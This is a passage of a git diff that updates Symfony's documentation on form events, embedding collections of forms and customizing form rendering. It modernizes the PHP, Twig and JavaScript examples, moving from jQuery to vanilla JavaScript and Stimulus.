- public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('name'); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Category::class, @@ -94,10 +87,11 @@ inside the task form itself. To accomplish this, add a ``category`` field to the ``TaskType`` object whose type is an instance of the new ``CategoryType`` class:: + // src/Form/TaskType.php use App\Form\CategoryType; use Symfony\Component\Form\FormBuilderInterface; - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... diff --git a/form/events.rst b/form/events.rst index 5620ec96f46..dad6c242ddd 100644 --- a/form/events.rst +++ b/form/events.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Form Events - Form Events =========== @@ -19,7 +16,7 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows:: use Symfony\Component\Form\FormEvent; use Symfony\Component\Form\FormEvents; - $listener = function (FormEvent $event) { + $listener = function (FormEvent $event): void { // ... }; @@ -32,17 +29,28 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows:: The Form Workflow ----------------- -The Form Submission Workflow -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +In the lifecycle of a form, there are two moments where the form data can +be updated: + +1. During **pre-population** (``setData()``) when building the form; +2. When handling **form submission** (``handleRequest()``) to update the + form data based on the values the user entered. + +.. raw:: html -.. image:: /_images/components/form/general_flow.png - :align: center + <object data="../_images/form/form_workflow.svg" type="image/svg+xml" + alt="A generic flow diagram showing the two phases. These are + described in the next subsections." + ></object> 1) Pre-populating the Form (``FormEvents::PRE_SET_DATA`` and ``FormEvents::POST_SET_DATA``) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. image:: /_images/components/form/set_data_flow.png - :align: center +.. raw:: html + + <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml" + alt="A flow diagram showing the two events that are dispatched during pre-population." + ></object> Two events are dispatched during pre-population of a form, when :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>` @@ -52,31 +60,27 @@ A) The ``FormEvents::PRE_SET_DATA`` Event ......................................... The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the -``Form::setData()`` method. It can be used to: - -* Modify the data given during pre-population; -* Modify a form depending on the pre-populated data (adding or removing fields dynamically). - -=============== ======== -Data Type Value -=============== ======== -Model data ``null`` -Normalized data ``null`` -View data ``null`` -=============== ======== +``Form::setData()`` method. It is used to modify the data given during +pre-population with +:method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`. +The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>` +is locked since the event is dispatched from it and will throw an exception +if called from a listener. + +==================== ====================================== +Data Type Value +==================== ====================================== +Event data Model data injected into ``setData()`` +Form model data ``null`` +Form normalized data ``null`` +Form view data ``null`` +==================== ====================================== .. seealso:: See all form events at a glance in the :ref:`Form Events Information Table <component-form-event-table>`. -.. caution:: - - During ``FormEvents::PRE_SET_DATA``, - :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>` - is locked and will throw an exception if used. If you wish to modify - data, you should use - :method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>` instead. .. sidebar:: ``FormEvents::PRE_SET_DATA`` in the Form component @@ -92,16 +96,17 @@ B) The ``FormEvents::POST_SET_DATA`` Event The ``FormEvents::POST_SET_DATA`` event is dispatched at the end of the :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>` -method. This event is mostly here for reading data after having pre-populated -the form. - -=============== ==================================================== -Data Type Value -=============== ==================================================== -Model data Model data injected into ``setData()`` -Normalized data Model data transformed using a model transformer -View data Normalized data transformed using a view transformer -=============== ==================================================== +method. This event can be used to modify a form depending on the populated data +(adding or removing fields dynamically). + +==================== ==================================================== +Data Type Value +==================== ==================================================== +Event data Model data injected into ``setData()`` +Form model data Model data injected into ``setData()`` +Form normalized data Model data transformed using a model transformer +Form view data Normalized data transformed using a view transformer +==================== ==================================================== .. seealso:: @@ -118,8 +123,11 @@ View data Normalized data transformed using a view transformer 2) Submitting a Form (``FormEvents::PRE_SUBMIT``, ``FormEvents::SUBMIT`` and ``FormEvents::POST_SUBMIT``) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. image:: /_images/components/form/submission_flow.png - :align: center +.. raw:: html + + <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml" + alt="A flow diagram showing the three events that are dispatched when handling form submissions." + ></object> Three events are dispatched when :method:`Form::handleRequest() <Symfony\\Component\\Form\\Form::handleRequest>` @@ -138,13 +146,14 @@ It can be used to: * Change data from the request, before submitting the data to the form; * Add or remove form fields, before submitting the data to the form. -=============== ======================================== -Data Type Value -=============== ======================================== -Model data Same as in ``FormEvents::POST_SET_DATA`` -Normalized data Same as in ``FormEvents::POST_SET_DATA`` -View data Same as in ``FormEvents::POST_SET_DATA`` -=============== ======================================== +==================== ======================================== +Data Type Value +==================== ======================================== +Event data Data from the request +Form model data Same as in ``FormEvents::POST_SET_DATA`` +Form normalized data Same as in ``FormEvents::POST_SET_DATA`` +Form view data Same as in ``FormEvents::POST_SET_DATA`` +==================== ======================================== .. seealso:: @@ -169,20 +178,21 @@ transforms back the normalized data to the model and view data. It can be used to change data from the normalized representation of the data. -=============== =================================================================================== -Data Type Value -=============== =================================================================================== -Model data Same as in ``FormEvents::POST_SET_DATA`` -Normalized data Data from the request reverse-transformed from the request using a view transformer -View data Same as in ``FormEvents::POST_SET_DATA`` -=============== =================================================================================== +==================== =================================================================================== +Data Type Value +==================== =================================================================================== +Event data Data from the request reverse-transformed from the request using a view transformer +Form model data Same as in ``FormEvents::POST_SET_DATA`` +Form normalized data Same as in ``FormEvents::POST_SET_DATA`` +Form view data Same as in ``FormEvents::POST_SET_DATA`` +==================== =================================================================================== .. seealso:: See all form events at a glance in the :ref:`Form Events Information Table <component-form-event-table>`. -.. caution:: +.. warning:: At this point, you cannot add or remove fields to the form. @@ -201,20 +211,21 @@ model and view data have been denormalized. It can be used to fetch data after denormalization. -=============== ============================================================= -Data Type Value -=============== ============================================================= -Model data Normalized data reverse-transformed using a model transformer -Normalized data Same as in ``FormEvents::SUBMIT`` -View data Normalized data transformed using a view transformer -=============== ============================================================= +==================== =================================================================================== +Data Type Value +==================== =================================================================================== +Event data Normalized data transformed using a view transformer +Form model data Normalized data reverse-transformed using a model transformer +Form normalized data Data from the request reverse-transformed from the request using a view transformer +Form view data Normalized data transformed using a view transformer +==================== =================================================================================== .. seealso:: See all form events at a glance in the :ref:`Form Events Information Table <component-form-event-table>`. -.. caution:: +.. warning:: At this point, you cannot add or remove fields to the current form and its children. @@ -263,16 +274,16 @@ method of the ``FormFactory``:: // ... + use Symfony\Component\Form\Event\PreSubmitEvent; use Symfony\Component\Form\Extension\Core\Type\CheckboxType; use Symfony\Component\Form\Extension\Core\Type\EmailType; use Symfony\Component\Form\Extension\Core\Type\TextType; - use Symfony\Component\Form\FormEvent; use Symfony\Component\Form\FormEvents; $form = $formFactory->createBuilder() ->add('username', TextType::class) ->add('showEmail', CheckboxType::class) - ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event) { + ->addEventListener(FormEvents::PRE_SUBMIT, function (PreSubmitEvent $event): void { $user = $event->getData(); $form = $event->getForm(); @@ -300,15 +311,15 @@ callback for better readability:: // src/Form/SubscriptionType.php namespace App\Form; + use Symfony\Component\Form\Event\PreSetDataEvent; use Symfony\Component\Form\Extension\Core\Type\CheckboxType; use Symfony\Component\Form\Extension\Core\Type\TextType; - use Symfony\Component\Form\FormEvent; use Symfony\Component\Form\FormEvents; // ... class SubscriptionType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('username', TextType::class) @@ -320,7 +331,7 @@ callback for better readability:: ; } - public function onPreSetData(FormEvent $event) + public function onPreSetData(PreSetDataEvent $event): void { // ... } @@ -341,13 +352,14 @@ Consider the following example of a form event subscriber:: namespace App\Form\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\Form\Event\PreSetDataEvent; + use Symfony\Component\Form\Event\PreSubmitEvent; use Symfony\Component\Form\Extension\Core\Type\EmailType; - use Symfony\Component\Form\FormEvent; use Symfony\Component\Form\FormEvents; class AddEmailFieldListener implements EventSubscriberInterface { - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return [ FormEvents::PRE_SET_DATA => 'onPreSetData', @@ -355,7 +367,7 @@ Consider the following example of a form event subscriber:: ]; } - public function onPreSetData(FormEvent $event) + public function onPreSetData(PreSetDataEvent $event): void { $user = $event->getData(); $form = $event->getForm(); @@ -367,7 +379,7 @@ Consider the following example of a form event subscriber:: } } - public function onPreSubmit(FormEvent $event) + public function onPreSubmit(PreSubmitEvent $event): void { $user = $event->getData(); $form = $event->getForm(); diff --git a/form/form_collections.rst b/form/form_collections.rst index 1d0b56c244a..3c8a2050690 100644 --- a/form/form_collections.rst +++ b/form/form_collections.rst @@ -1,42 +1,39 @@ -.. index:: - single: Form; Embed collection of forms - How to Embed a Collection of Forms ================================== -In this article, you'll learn how to create a form that embeds a collection -of many other forms. This could be useful, for example, if you had a ``Task`` -class and you wanted to edit/create/remove many ``Tag`` objects related to -that Task, right inside the same form. +Symfony Forms can embed a collection of many other forms, which is useful to +edit related entities in a single form. In this article, you'll create a form to +edit a ``Task`` class and, right inside the same form, you'll be able to edit, +create and remove many ``Tag`` objects related to that Task. Let's start by creating a ``Task`` entity:: // src/Entity/Task.php namespace App\Entity; - use Doctrine\Common\Collections\ArrayCollection; + use Doctrine\Common\Collections\Collection; class Task { - protected $description; - protected $tags; + protected string $description; + protected Collection $tags; public function __construct() { $this->tags = new ArrayCollection(); } - public function getDescription() + public function getDescription(): string { return $this->description; } - public function setDescription($description) + public function setDescription(string $description): void { $this->description = $description; } - public function getTags() + public function getTags(): Collection { return $this->tags; } @@ -44,9 +41,8 @@ Let's start by creating a ``Task`` entity:: .. note:: - The ``ArrayCollection`` is specific to Doctrine and is basically the - same as using an ``array`` (but it must be an ``ArrayCollection`` if - you're using Doctrine). + The `ArrayCollection`_ is specific to Doctrine and is similar to a PHP array + but provides many utility methods. Now, create a ``Tag`` class. As you saw above, a ``Task`` can have many ``Tag`` objects:: @@ -56,14 +52,14 @@ objects:: class Tag { - private $name; + private string $name; - public function getName() + public function getName(): string { return $this->name; } - public function setName($name) + public function setName(string $name): void { $this->name = $name; } @@ -81,12 +77,12 @@ Then, create a form class so that a ``Tag`` object can be modified by the user:: class TagType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('name'); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Tag::class, @@ -110,7 +106,7 @@ inside the task form itself:: class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('description'); @@ -120,7 +116,7 @@ inside the task form itself:: ]); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Task::class, @@ -138,10 +134,11 @@ In your controller, you'll create a new form from the ``TaskType``:: use App\Form\TaskType; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; class TaskController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { $task = new Task(); @@ -164,7 +161,7 @@ In your controller, you'll create a new form from the ``TaskType``:: } return $this->render('task/new.html.twig', [ - 'form' => $form->createView(), + 'form' => $form, ]); } } @@ -198,7 +195,7 @@ then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->g So far, this works great, but only to edit *existing* tags. It doesn't allow us yet to add new tags or delete existing ones. -.. caution:: +.. warning:: You can embed nested collections as many levels down as you like. However, if you use Xdebug, you may receive a ``Maximum function nesting level of '100' @@ -215,6 +212,12 @@ Previously you added two tags to your task in the controller. Now let the users add as many tag forms as they need directly in the browser. This requires a bit of JavaScript code. +.. tip:: + + Instead of writing the needed JavaScript code yourself, you can use Symfony + UX to implement this feature with only PHP and Twig code. See the + `Symfony UX Demo of Form Collections`_. + But first, you need to let the form collection know that instead of exactly two, it will receive an *unknown* number of tags. Otherwise, you'll see a *"This form should not contain extra fields"* error. This is done with the @@ -224,7 +227,7 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a // ... - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... @@ -237,18 +240,36 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a The ``allow_add`` option also makes a ``prototype`` variable available to you. This "prototype" is a little "template" that contains all the HTML needed to -dynamically create any new "tag" forms with JavaScript. To render the prototype, add -the following ``data-prototype`` attribute to the existing ``<ul>`` in your template: +dynamically create any new "tag" forms with JavaScript. + +Let's start with plain JavaScript (Vanilla JS) – if you're using Stimulus, see below. + +To render the prototype, add +the following ``data-prototype`` attribute to the existing ``<ul>`` in your +template: .. code-block:: html+twig - <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"> + {# the data-index attribute is required for the JavaScript code below #} + <ul class="tags" + data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" + data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}" + ></ul> On the rendered page, the result will look something like this: .. code-block:: html - <ul class="tags" data-prototype="<div><label class=" required">__name__</label><div id="task_tags___name__"><div><label for="task_tags___name___name" class=" required">Name</label><input type="text" id="task_tags___name___name" name="task[tags][__name__][name]" required="required" maxlength="255" /></div></div></div>"> + <ul class="tags" + data-index="0" + data-prototype="<div><label class=" required">__name__</label><div id="task_tags___name__"><div><label for="task_tags___name___name" class=" required">Name</label><input type="text" id="task_tags___name___name" name="task[tags][__name__][name]" required="required" maxlength="255" /></div></div></div>" + ></ul> + +Now add a button to dynamically add a new tag: + +.. code-block:: html+twig + + <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button> .. seealso:: @@ -258,7 +279,7 @@ On the rendered page, the result will look something like this: .. tip:: The ``form.tags.vars.prototype`` is a form element that looks and feels just - like the individual ``form_widget(tag)`` elements inside your ``for`` loop. + like the individual ``form_widget(tag.*)`` elements inside your ``for`` loop. This means that you can call ``form_widget()``, ``form_row()`` or ``form_label()`` on it. You could even choose to render only one of its fields (e.g. the ``name`` field): @@ -273,89 +294,94 @@ On the rendered page, the result will look something like this: the ``data-prototype`` attribute is automatically added to the containing ``div``, and you need to adjust the following JavaScript accordingly. -The goal of this section will be to use JavaScript to read this attribute -and dynamically add new tag forms when the user clicks a "Add a tag" link. -This example uses jQuery and assumes you have it included somewhere on your page. +Now add some JavaScript to read this attribute and dynamically add new tag forms +when the user clicks the "Add a tag" link. Add a ``<script>`` tag somewhere +on your page to include the required functionality with JavaScript: + +.. code-block:: javascript -Add a ``script`` tag somewhere on your page so you can start writing some JavaScript. + document + .querySelectorAll('.add_item_link') + .forEach(btn => { + btn.addEventListener("click", addFormToCollection) + }); -First, add a link to the bottom of the "tags" list via JavaScript. Second, -bind to the "click" event of that link so you can add a new tag form (``addTagForm()`` -will be show next): +The ``addFormToCollection()`` function's job will be to use the ``data-prototype`` +attribute to dynamically add a new form when this link is clicked. The ``data-prototype`` +HTML contains the tag's ``text`` input element with a name of ``task[tags][__name__][name]`` +and id of ``task_tags___name___name``. The ``__name__`` is a placeholder, which +you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``): .. code-block:: javascript - var $collectionHolder; + function addFormToCollection(e) { + const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass); - // setup an "add a tag" link - var $addTagButton = $('<button type="button" class="add_tag_link">Add a tag</button>'); - var $newLinkLi = $('<li></li>').append($addTagButton); + const item = document.createElement('li'); - jQuery(document).ready(function() { - // Get the ul that holds the collection of tags - $collectionHolder = $('ul.tags'); + item.innerHTML = collectionHolder + .dataset + .prototype + .replace( + /__name__/g, + collectionHolder.dataset.index + ); - // add the "add a tag" anchor and li to the tags ul - $collectionHolder.append($newLinkLi); + collectionHolder.appendChild(item); - // count the current form inputs we have (e.g. 2), use that as the new - // index when inserting a new item (e.g. 2) - $collectionHolder.data('index', $collectionHolder.find('input').length); + collectionHolder.dataset.index++; + }; - $addTagButton.on('click', function(e) { - // add a new tag form (see next code block) - addTagForm($collectionHolder, $newLinkLi); - }); - }); +Now, each time a user clicks the ``Add a tag`` link, a new sub form will +appear on the page. When the form is submitted, any new tag forms will be converted +into new ``Tag`` objects and added to the ``tags`` property of the ``Task`` object. -The ``addTagForm()`` function's job will be to use the ``data-prototype`` attribute -to dynamically add a new form when this link is clicked. The ``data-prototype`` -HTML contains the tag ``text`` input element with a name of ``task[tags][__name__][name]`` -and id of ``task_tags___name___name``. The ``__name__`` is a little "placeholder", -which you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``). +.. seealso:: -The actual code needed to make this all work can vary quite a bit, but here's -one example: + You can find a working example in this `JSFiddle`_. -.. code-block:: javascript +JavaScript with Stimulus +~~~~~~~~~~~~~~~~~~~~~~~~ - function addTagForm($collectionHolder, $newLinkLi) { - // Get the data-prototype explained earlier - var prototype = $collectionHolder.data('prototype'); +If you're using `Stimulus`_, wrap everything in a ``<div>``: - // get the new index - var index = $collectionHolder.data('index'); +.. code-block:: html+twig - var newForm = prototype; - // You need this only if you didn't set 'label' => false in your tags field in TaskType - // Replace '__name__label__' in the prototype's HTML to - // instead be a number based on how many items we have - // newForm = newForm.replace(/__name__label__/g, index); + <div {{ stimulus_controller('form-collection') }} + data-form-collection-index-value="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" + data-form-collection-prototype-value="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}" + > + <ul {{ stimulus_target('form-collection', 'collectionContainer') }}></ul> + <button type="button" {{ stimulus_action('form-collection', 'addCollectionElement') }}>Add a tag</button> + </div> - // Replace '__name__' in the prototype's HTML to - // instead be a number based on how many items we have - newForm = newForm.replace(/__name__/g, index); +Then create the controller: - // increase the index with one for the next item - $collectionHolder.data('index', index + 1); +.. code-block:: javascript - // Display the form in the page in an li, before the "Add a tag" link li - var $newFormLi = $('<li></li>').append(newForm); - $newLinkLi.before($newFormLi); - } + // assets/controllers/form-collection_controller.js -.. note:: + import { Controller } from '@hotwired/stimulus'; - It is better to separate your JavaScript in real JavaScript files than - to write it inside the HTML as is done here. + export default class extends Controller { + static targets = ["collectionContainer"] -Now, each time a user clicks the ``Add a tag`` link, a new sub form will -appear on the page. When the form is submitted, any new tag forms will be converted -into new ``Tag`` objects and added to the ``tags`` property of the ``Task`` object. + static values = { + index : Number, + prototype: String, + } -.. seealso:: + addCollectionElement(event) + { + const item = document.createElement('li'); + item.innerHTML = this.prototypeValue.replace(/__name__/g, this.indexValue); + this.collectionContainerTarget.appendChild(item); + this.indexValue++; + } + } - You can find a working example in this `JSFiddle`_. +Handling the new Tags in PHP +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To make handling these new tags easier, add an "adder" and a "remover" method for the tags in the ``Task`` class:: @@ -368,12 +394,12 @@ for the tags in the ``Task`` class:: { // ... - public function addTag(Tag $tag) + public function addTag(Tag $tag): void { $this->tags->add($tag); } - public function removeTag(Tag $tag) + public function removeTag(Tag $tag): void { // ... } @@ -384,7 +410,7 @@ Next, add a ``by_reference`` option to the ``tags`` field and set it to ``false` // src/Form/TaskType.php // ... - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... @@ -401,13 +427,13 @@ That was fine, but forcing the use of the "adder" method makes handling these new ``Tag`` objects easier (especially if you're using Doctrine, which you will learn about next!). -.. caution:: +.. warning:: You have to create **both** ``addTag()`` and ``removeTag()`` methods, otherwise the form will still use ``setTag()`` even if ``by_reference`` is ``false``. You'll learn more about the ``removeTag()`` method later in this article. -.. caution:: +.. warning:: Symfony can only make the plural-to-singular conversion (e.g. from the ``tags`` property to the ``addTag()`` method) for English words. Code @@ -420,6 +446,8 @@ you will learn about next!). call ``$entityManager->persist($tag)`` on each, you'll receive an error from Doctrine: + .. code-block:: text + A new entity was found through the relationship ``App\Entity\Task#tags`` that was not configured to cascade persist operations for entity... @@ -430,16 +458,14 @@ you will learn about next!). .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Task.php // ... - /** - * @ORM\ManyToMany(targetEntity="App\Entity\Tag", cascade={"persist"}) - */ - protected $tags; + #[ORM\ManyToMany(targetEntity: Tag::class, cascade: ['persist'])] + protected Collection $tags; .. code-block:: yaml @@ -485,7 +511,7 @@ you will learn about next!). // src/Entity/Task.php // ... - public function addTag(Tag $tag) + public function addTag(Tag $tag): void { // for a many-to-many association: $tag->addTask($this); @@ -502,7 +528,7 @@ you will learn about next!). // src/Entity/Tag.php // ... - public function addTask(Task $task) + public function addTask(Task $task): void { if (!$this->tasks->contains($task)) { $this->tasks->add($task); @@ -522,7 +548,7 @@ Start by adding the ``allow_delete`` option in the form Type:: // src/Form/TaskType.php // ... - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... @@ -541,55 +567,52 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``:: { // ... - public function removeTag(Tag $tag) + public function removeTag(Tag $tag): void { $this->tags->removeElement($tag); } } -Template Modifications -~~~~~~~~~~~~~~~~~~~~~~ - The ``allow_delete`` option means that if an item of a collection isn't sent on submission, the related data is removed from the collection on the server. In order for this to work in an HTML form, you must remove the DOM element for the collection item to be removed, before submitting the form. -First, add a "delete this tag" link to each tag form: +In the JavaScript code, add a "delete" button to each existing tag on the page. +Then, append the "add delete button" method in the function that adds the new tags: .. code-block:: javascript - jQuery(document).ready(function() { - // Get the ul that holds the collection of tags - $collectionHolder = $('ul.tags'); - - // add a delete link to all of the existing tag form li elements - $collectionHolder.find('li').each(function() { - addTagFormDeleteLink($(this)); - }); + document + .querySelectorAll('ul.tags li') + .forEach((tag) => { + addTagFormDeleteLink(tag) + }) - // ... the rest of the block from above - }); + // ... the rest of the block from above - function addTagForm() { + function addFormToCollection(e) { // ... // add a delete link to the new form - addTagFormDeleteLink($newFormLi); + addTagFormDeleteLink(item); } The ``addTagFormDeleteLink()`` function will look something like this: .. code-block:: javascript - function addTagFormDeleteLink($tagFormLi) { - var $removeFormButton = $('<button type="button">Delete this tag</button>'); - $tagFormLi.append($removeFormButton); + function addTagFormDeleteLink(item) { + const removeFormButton = document.createElement('button'); + removeFormButton.innerText = 'Delete this tag'; - $removeFormButton.on('click', function(e) { + item.append(removeFormButton); + + removeFormButton.addEventListener('click', (e) => { + e.preventDefault(); // remove the li for the tag form - $tagFormLi.remove(); + item.remove(); }); } @@ -618,52 +641,52 @@ the relationship between the removed ``Tag`` and ``Task`` object. is handling the "update" of your Task:: // src/Controller/TaskController.php + + // ... use App\Entity\Task; use Doctrine\Common\Collections\ArrayCollection; - // ... - public function edit($id, Request $request, EntityManagerInterface $entityManager) + class TaskController extends AbstractController { - if (null === $task = $entityManager->getRepository(Task::class)->find($id)) { - throw $this->createNotFoundException('No task found for id '.$id); - } - - $originalTags = new ArrayCollection(); + public function edit(Task $task, Request $request, EntityManagerInterface $entityManager): Response + { + $originalTags = new ArrayCollection(); - // Create an ArrayCollection of the current Tag objects in the database - foreach ($task->getTags() as $tag) { - $originalTags->add($tag); - } + // Create an ArrayCollection of the current Tag objects in the database + foreach ($task->getTags() as $tag) { + $originalTags->add($tag); + } - $editForm = $this->createForm(TaskType::class, $task); + $editForm = $this->createForm(TaskType::class, $task); - $editForm->handleRequest($request); + $editForm->handleRequest($request); - if ($editForm->isSubmitted() && $editForm->isValid()) { - // remove the relationship between the tag and the Task - foreach ($originalTags as $tag) { - if (false === $task->getTags()->contains($tag)) { - // remove the Task from the Tag - $tag->getTasks()->removeElement($task); + if ($editForm->isSubmitted() && $editForm->isValid()) { + // remove the relationship between the tag and the Task + foreach ($originalTags as $tag) { + if (false === $task->getTags()->contains($tag)) { + // remove the Task from the Tag + $tag->getTasks()->removeElement($task); - // if it was a many-to-one relationship, remove the relationship like this - // $tag->setTask(null); + // if it was a many-to-one relationship, remove the relationship like this + // $tag->setTask(null); - $entityManager->persist($tag); + $entityManager->persist($tag); - // if you wanted to delete the Tag entirely, you can also do that - // $entityManager->remove($tag); + // if you wanted to delete the Tag entirely, you can also do that + // $entityManager->remove($tag); + } } - } - $entityManager->persist($task); - $entityManager->flush(); + $entityManager->persist($task); + $entityManager->flush(); - // redirect back to some edit page - return $this->redirectToRoute('task_edit', ['id' => $id]); - } + // redirect back to some edit page + return $this->redirectToRoute('task_edit', ['id' => $id]); + } - // render some form template + // ... render some form template + } } As you can see, adding and removing the elements correctly can be tricky. @@ -676,10 +699,12 @@ the relationship between the removed ``Tag`` and ``Task`` object. The Symfony community has created some JavaScript packages that provide the functionality needed to add, edit and delete elements of the collection. - Check out the `@a2lix/symfony-collection`_ package for modern browsers and - the `symfony-collection`_ package based on jQuery for the rest of browsers. + Check out the `@a2lix/symfony-collection`_ or search on GitHub for other + recent packages. .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html -.. _`JSFiddle`: http://jsfiddle.net/847Kf/4/ +.. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/ .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection -.. _`symfony-collection`: https://github.com/ninsuo/symfony-collection +.. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html +.. _`Symfony UX Demo of Form Collections`: https://ux.symfony.com/live-component/demos/form-collection-type +.. _`Stimulus`: https://symfony.com/doc/current/frontend/encore/simple-example.html#stimulus-symfony-ux diff --git a/form/form_customization.rst b/form/form_customization.rst index d5c27e3aa53..dc09aefe77d 100644 --- a/form/form_customization.rst +++ b/form/form_customization.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; Custom form rendering - How to Customize Form Rendering =============================== @@ -20,8 +17,9 @@ enough to render an entire form, including all its fields and error messages: .. code-block:: twig - {# form is a variable passed from the controller and created - by calling to the $form->createView() method #} + {# form is a variable passed from the controller via + $this->render('...', ['form' => $form]) + or $this->render('...', ['form' => $form->createView()]) #} {{ form(form) }} The next step is to use the :ref:`form_start() <reference-forms-twig-start>`, @@ -53,10 +51,12 @@ customized using other Twig functions, as illustrated in the following diagram: .. raw:: html - <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"></object> + <object data="../_images/form/form-field-parts.svg" type="image/svg+xml" + alt="Wireframe showing all functions in a form row, which are mentioned directly below." + ></object> The :ref:`form_label() <reference-forms-twig-label>`, -:ref:`form_widget() <reference-forms-twig-widget>`, +:ref:`form_widget() <reference-forms-twig-widget>` (the HTML input), :ref:`form_help() <reference-forms-twig-help>` and :ref:`form_errors() <reference-forms-twig-errors>` Twig functions give you total control over how each form field is rendered, so you can fully customize them: @@ -74,11 +74,67 @@ control over how each form field is rendered, so you can fully customize them: </div> </div> +.. warning:: + + If you're rendering each field manually, make sure you don't forget the + ``_token`` field that is automatically added for CSRF protection. + + You can also use ``{{ form_rest(form) }}`` (recommended) to render any + fields that aren't rendered manually. See + :ref:`the form_rest() documentation <reference-forms-twig-rest>` below for + more information. + .. note:: Later in this article you can find the full reference of these Twig functions with more usage examples. +.. _reference-forms-twig-field-helpers: + +Form Field Helpers +------------------ + +The ``form_*()`` helpers shown in the previous section render different parts of +the form field, including all its HTML elements. Some developers and designers +struggle with this behavior, because it hides all the HTML elements in form +themes which are not trivial to customize. + +That's why Symfony provides other Twig form helpers that render the value of +each form field part without adding any HTML around it: + +* ``field_name()`` +* ``field_id()`` +* ``field_value()`` +* ``field_label()`` +* ``field_help()`` +* ``field_errors()`` +* ``field_choices()`` (an iterator for choice fields; e.g. for ``<select>``) + +When using these helpers, you must write all the HTML contents for all form +fields, so you no longer have to deal with form themes: + +.. code-block:: html+twig + + <input + name="{{ field_name(form.username) }}" + id="{{ field_id(form.username) }}" + value="{{ field_value(form.username) }}" + placeholder="{{ field_label(form.username) }}" + class="form-control" + > + + <select name="{{ field_name(form.country) }}" class="form-control"> + <option value="">{{ field_label(form.country) }}</option> + + {% for label, value in field_choices(form.country) %} + <option value="{{ value }}">{{ label }}</option> + {% endfor %} + </select> + +.. versionadded:: 7.3 + + The ``field_id()`` helper was introduced in Symfony 7.3. + Form Rendering Variables ------------------------ @@ -204,7 +260,7 @@ article) unless you set ``render_rest`` to false: .. code-block:: twig {# don't render unrendered fields #} - {{ form_end(form, {'render_rest': false}) }} + {{ form_end(form, {render_rest: false}) }} .. _reference-forms-twig-label: @@ -255,6 +311,12 @@ Renders any errors for the given field. {# render any "global" errors not associated to any form field #} {{ form_errors(form) }} +.. warning:: + + In the Bootstrap 4 form theme, ``form_errors()`` is already included in + ``form_label()``. Read more about this in the + :ref:`Bootstrap 4 theme documentation <reference-forms-bootstrap4-error-messages>`. + .. _reference-forms-twig-widget: form_widget(form_view, variables) @@ -426,4 +488,4 @@ Variable Usage variables a particular field has, find the source code for the form field (and its parent fields) and look at the above two functions. -.. _`the Twig documentation`: https://twig.symfony.com/doc/2.x/templates.html#test-operator +.. _`the 